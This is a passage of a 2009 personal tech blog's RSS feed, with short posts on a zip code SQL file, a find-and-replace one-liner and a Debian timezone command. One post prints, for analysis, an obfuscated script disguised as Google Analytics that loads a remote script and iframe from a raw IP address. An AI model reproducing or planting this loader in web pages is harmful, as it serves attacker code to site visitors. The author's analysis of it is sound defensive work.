</div><img src="http://feeds.feedburner.com/~r/AlanBlaineWhitney/~4/z40l4EM1Cpg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/12/28/really-bad-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.alanblainewhitney.com/2009/12/28/really-bad-code/</feedburner:origLink></item>
		<item>
		<title>Zip Codes</title>
		<link>http://feedproxy.google.com/~r/AlanBlaineWhitney/~3/de880IRb_6g/</link>
		<comments>http://www.alanblainewhitney.com/2009/06/29/zip-codes/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 17:44:21 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[zip codes]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=121</guid>
		<description><![CDATA[I nearly never have been able to find a good zip code database, just simple SQL with zips, towns latitude and longitude.  The closest I have found is boutell&#8217;s Free Zip Code stuff.  Which is still not right, it&#8217;s in CSV format, which is easy enough to change, but I want SQL.  So I [...]]]></description>
			<content:encoded><![CDATA[<p>I nearly never have been able to find a good zip code database, just simple SQL with zips, towns latitude and longitude.  The closest I have found is boutell&#8217;s <a href="http://www.boutell.com/zipcodes/">Free Zip Code</a> stuff.  Which is still not right, it&#8217;s in CSV format, which is easy enough to change, but I want SQL.  So I made it into SQL.</p>
<p>Download <strong><a href="http://www.alanblainewhitney.com/wp-content/uploads/2009/06/zipcode.sql.gz">Zip Codes in SQL</a></strong></p>
<p>It nearly goes without saying, but I accept no responsibility for the quality or accuracy of the database or any implications from using it.</p>
<p>Published under the <a href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons Attribution-ShareAlike</a> license.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=de880IRb_6g:t8ZvFI4naDY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=de880IRb_6g:t8ZvFI4naDY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=de880IRb_6g:t8ZvFI4naDY:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=de880IRb_6g:t8ZvFI4naDY:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=de880IRb_6g:t8ZvFI4naDY:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=de880IRb_6g:t8ZvFI4naDY:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=de880IRb_6g:t8ZvFI4naDY:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=de880IRb_6g:t8ZvFI4naDY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=de880IRb_6g:t8ZvFI4naDY:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=de880IRb_6g:t8ZvFI4naDY:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AlanBlaineWhitney/~4/de880IRb_6g" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/06/29/zip-codes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.alanblainewhitney.com/2009/06/29/zip-codes/</feedburner:origLink></item>
		<item>
		<title>Google Analytics Ripoff.</title>
		<link>http://feedproxy.google.com/~r/AlanBlaineWhitney/~3/dEDTJpBOdpQ/</link>
		<comments>http://www.alanblainewhitney.com/2009/06/18/google-analytics-ripoff/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 13:15:04 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=116</guid>
		<description><![CDATA[I have found something very funny on a site this morning.  Here is a bit of javascript.

1
2
3
4
5
&#60;script type=&#34;text/javascript&#34;&#62;
var gaJsHost = &#40;&#40;&#34;https:&#34; == document.location.protocol&#41; ? &#34;https://ssl.&#34; : &#34;http://www.&#34;&#41;;document.write&#40;unescape&#40;&#34;%3Cscript srñ='&#34; + gaJsHost + &#34;google-analytics.com/ga.js' &#34; + '!@&#38;s(#r)c@!=&#38;)\'&#38;h$!t^&#38;!$@t@&#38;$p#^&#38;@:$^/&#38;@!&#38;/!9(1)@.(2)1!(2)&#38;.^#6&#38;@&#38;!^5(@!&#38;.&#38;#$1@!4)8!#/($g#$a&#38;.(j^s)'.replace&#40;/#&#124;&#38;&#124;@&#124;\$&#124;\(&#124;\!&#124;\^&#124;\)/ig, ''&#41; + &#34;' type='text/javascript'%3E%3C/script%3E&#34;&#41;&#41;;
&#60;/script&#62;
&#60;script type=&#34;text/javascript&#34;&#62;
try &#123;var pageTracker = _gat._getTracker&#40;&#34;UA-32645524-1&#34;&#41;;pageTracker._trackPageview&#40;&#41;;&#125; catch&#40;err&#41;; &#123;&#125;&#60;/script&#62;

Which translates into including http://91.212.65.148/ga.js
Which includes an iframe.  Not [...]]]></description>
			<content:encoded><![CDATA[<p>I have found something very funny on a site this morning.  Here is a bit of javascript.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #003366; font-weight: bold;">var</span> gaJsHost <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;https:&quot;</span> <span style="color: #339933;">==</span> document.<span style="color: #660066;">location</span>.<span style="color: #660066;">protocol</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">?</span> <span style="color: #3366CC;">&quot;https://ssl.&quot;</span> <span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;http://www.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span>unescape<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;%3Cscript srñ='&quot;</span> <span style="color: #339933;">+</span> gaJsHost <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;google-analytics.com/ga.js' &quot;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'!@&amp;s(#r)c@!=&amp;)<span style="color: #000099; font-weight: bold;">\'</span>&amp;h$!t^&amp;!$@t@&amp;$p#^&amp;@:$^/&amp;@!&amp;/!9(1)@.(2)1!(2)&amp;.^#6&amp;@&amp;!^5(@!&amp;.&amp;#$1@!4)8!#/($g#$a&amp;.(j^s)'</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/#|&amp;|@|\$|\(|\!|\^|\)/ig</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;' type='text/javascript'%3E%3C/script%3E&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #000066; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span><span style="color: #003366; font-weight: bold;">var</span> pageTracker <span style="color: #339933;">=</span> _gat._getTracker<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;UA-32645524-1&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>pageTracker._trackPageview<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span>err<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>Which translates into including http://91.212.65.148/ga.js</p>
<p>Which includes an iframe.  Not sure yet, but this may be the nine ball thing.  This iframe is to: http://91.212.65.148//image/index.php</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=dEDTJpBOdpQ:A8UAgf69JEw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=dEDTJpBOdpQ:A8UAgf69JEw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=dEDTJpBOdpQ:A8UAgf69JEw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=dEDTJpBOdpQ:A8UAgf69JEw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=dEDTJpBOdpQ:A8UAgf69JEw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=dEDTJpBOdpQ:A8UAgf69JEw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=dEDTJpBOdpQ:A8UAgf69JEw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=dEDTJpBOdpQ:A8UAgf69JEw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=dEDTJpBOdpQ:A8UAgf69JEw:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=dEDTJpBOdpQ:A8UAgf69JEw:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AlanBlaineWhitney/~4/dEDTJpBOdpQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/06/18/google-analytics-ripoff/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.alanblainewhitney.com/2009/06/18/google-analytics-ripoff/</feedburner:origLink></item>
		<item>
		<title>Recursive Find and Replace</title>
		<link>http://feedproxy.google.com/~r/AlanBlaineWhitney/~3/UlsV3kry700/</link>
		<comments>http://www.alanblainewhitney.com/2009/06/11/recursive-find-and-replace-2/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 18:34:29 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[getting it done]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=113</guid>
		<description><![CDATA[This works on most linux boxes.
find /path/to/start/from/ -type f &#124; xargs perl -pi -e &#8217;s/applicationX/applicationY/g&#8217;
]]></description>
			<content:encoded><![CDATA[<p>This works on most linux boxes.</p>
<p><span id="intelliTxt">find /path/to/start/from/ -type f | xargs perl -pi -e &#8217;s/applicationX/applicationY/g&#8217;</span></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UlsV3kry700:udxGGB3ZEm4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UlsV3kry700:udxGGB3ZEm4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=UlsV3kry700:udxGGB3ZEm4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UlsV3kry700:udxGGB3ZEm4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=UlsV3kry700:udxGGB3ZEm4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UlsV3kry700:udxGGB3ZEm4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=UlsV3kry700:udxGGB3ZEm4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UlsV3kry700:udxGGB3ZEm4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UlsV3kry700:udxGGB3ZEm4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=UlsV3kry700:udxGGB3ZEm4:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AlanBlaineWhitney/~4/UlsV3kry700" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/06/11/recursive-find-and-replace-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.alanblainewhitney.com/2009/06/11/recursive-find-and-replace-2/</feedburner:origLink></item>
		<item>
		<title>Debian reset timezone</title>
		<link>http://feedproxy.google.com/~r/AlanBlaineWhitney/~3/UNLbtBi2tGg/</link>
		<comments>http://www.alanblainewhitney.com/2009/06/11/debian-reset-timezone/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 14:17:17 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[debian]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=111</guid>
		<description><![CDATA[dpkg-reconfigure tzdata
Command that resets the timezone accross the board on debian/ubuntu
]]></description>
			<content:encoded><![CDATA[<p>dpkg-reconfigure tzdata</p>
<p>Command that resets the timezone accross the board on debian/ubuntu</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UNLbtBi2tGg:feOvcOxd7_M:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UNLbtBi2tGg:feOvcOxd7_M:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=UNLbtBi2tGg:feOvcOxd7_M:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UNLbtBi2tGg:feOvcOxd7_M:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=UNLbtBi2tGg:feOvcOxd7_M:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UNLbtBi2tGg:feOvcOxd7_M:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=UNLbtBi2tGg:feOvcOxd7_M:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UNLbtBi2tGg:feOvcOxd7_M:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=UNLbtBi2tGg:feOvcOxd7_M:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=UNLbtBi2tGg:feOvcOxd7_M:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AlanBlaineWhitney/~4/UNLbtBi2tGg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2009/06/11/debian-reset-timezone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.alanblainewhitney.com/2009/06/11/debian-reset-timezone/</feedburner:origLink></item>
	</channel>
</rss>
